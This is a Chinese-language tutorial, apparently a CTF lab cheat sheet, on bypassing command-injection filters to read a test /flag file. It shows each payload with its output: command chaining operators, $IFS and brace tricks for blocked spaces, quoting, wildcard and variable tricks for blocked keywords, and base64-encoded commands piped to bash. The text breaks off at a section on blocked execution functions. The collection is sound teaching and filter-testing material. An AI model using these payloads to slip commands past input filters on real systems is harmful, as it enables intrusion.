RCE绕过思路
RCE绕过
环境准备
虚拟机:Ubuntu 20.04.6
首先在根目录生成一个flag方便我们验证
1 | echo "flag{`openssl rand -hex 30`}" > /flag |
绕过方法
使用;连接命令
ls;cat flag
1 | app boot dev flag lib lib64 lost+found mnt proc run snap swapfile tmp var |
使用&连接命令
在Linux系统中,&
符号用于将命令放入后台执行。当你在命令行中输入一个命令并在其后加上 &
时,该命令将会在后台运行,而不会占用当前终端会话。
如果你在两个命令之间放置 &
,那么第一个命令将会被放入后台执行,而第二个命令将会立即在前景执行。
ls&cat flag
1 | [1] 3134 |
&&逻辑与(AND)
当使用 &&
连接两个命令时,第一个命令必须成功执行(即退出状态码为0)后,第二个命令才会被执行。如果第一个命令失败(退出状态码非0),则第二个命令不会执行。
ls&&cat flag
1 | app boot dev flag lib lib64 lost+found mnt proc run snap swapfile tmp var |
cat /f&&cat flag
1 | cat: /f: 没有那个文件或目录 |
||逻辑或(OR)
当使用 ||
连接两个命令时,如果第一个命令失败(即退出状态码非0),则第二个命令将会被执行。如果第一个命令成功(退出状态码为0),则第二个命令不会执行。
ls||cat flag
1 | app boot dev flag lib lib64 lost+found mnt proc run snap swapfile tmp var |
cat /f||cat flag
1 | cat: /f: 没有那个文件或目录 |
|(管道符)
用于将一个命令的输出作为另一个命令的输入。
ls|cat flag
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
绕过空格过滤
{cat,flag}
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
cat${IFS}flag
$IFS
是一个特殊的 shell 变量,代表内部字段分隔符(Internal Field Separator)
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
cat$IFS/flag
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
cat$IFS${11}flag
在 shell 脚本中,位置参数用于引用传递给脚本的命令行参数。这些参数按照它们在命令行上出现的顺序被编号,从$1 开始,一直到9。对于第十个及以后的参数,需要使用花括号来引用,例如 ${10}、{11} 等。
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
cat<flag
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
cat<>flag
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
过滤关键字
cat f\*或者cat fl*
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
cat fl??
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
cat fl''ag或者cat fl""ag或者cat fl``ag
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
cat fl\ag
在命令行中,如果命令太长,可以使用反斜杠作为续行符,将一个命令分成多行书写,系统会自动去掉\
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
cat fl$@ag或者cat fl$*ag
$*
和 $@
- 都表示所有传递给脚本的参数。如果没有参数,它们默认为空,但行为上有所不同:$*
将所有参数当作一个单独的字符串,而$@
会将每个参数当作独立的字符串。
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
cat /f${aa}lag
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
cat fl${word}ag或者cat flag$word
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
a=f;b=l;c=a;d=g;cat $a$b$c$d
变量替换
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
cat f${PATH:5:1}${PATH:8:1}${PATH:66:1}
$PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
加密绕过关键词过滤
首先echo cat flag | base64
加密cat flag
1 | Y2F0IGZsYWcK |
执行加密后的命令
echo Y2F0IGZsYWcK | base64 -d | bash
`echo Y2F0IGZsYWcK | base64 -d`
$(echo Y2F0IGZsYWcK | base64 -d)
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
替换cat
tac flag或者more flag或者less flag或者tail flag
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
nl flag
1 | 1 flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
xxd flag
1 | 00000000: 666c 6167 7b62 3232 3037 3761 6666 3563 flag{b22077aff5c |
sort flag
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
uniq flag
去除相邻的重复行
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
file -f flag
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}: cannot open `flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555}' (No such file or directory) |
grep 1 /flag
1 | flag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} |
过滤命令执行函数,如system
1.借助其他的函数
1 | echo |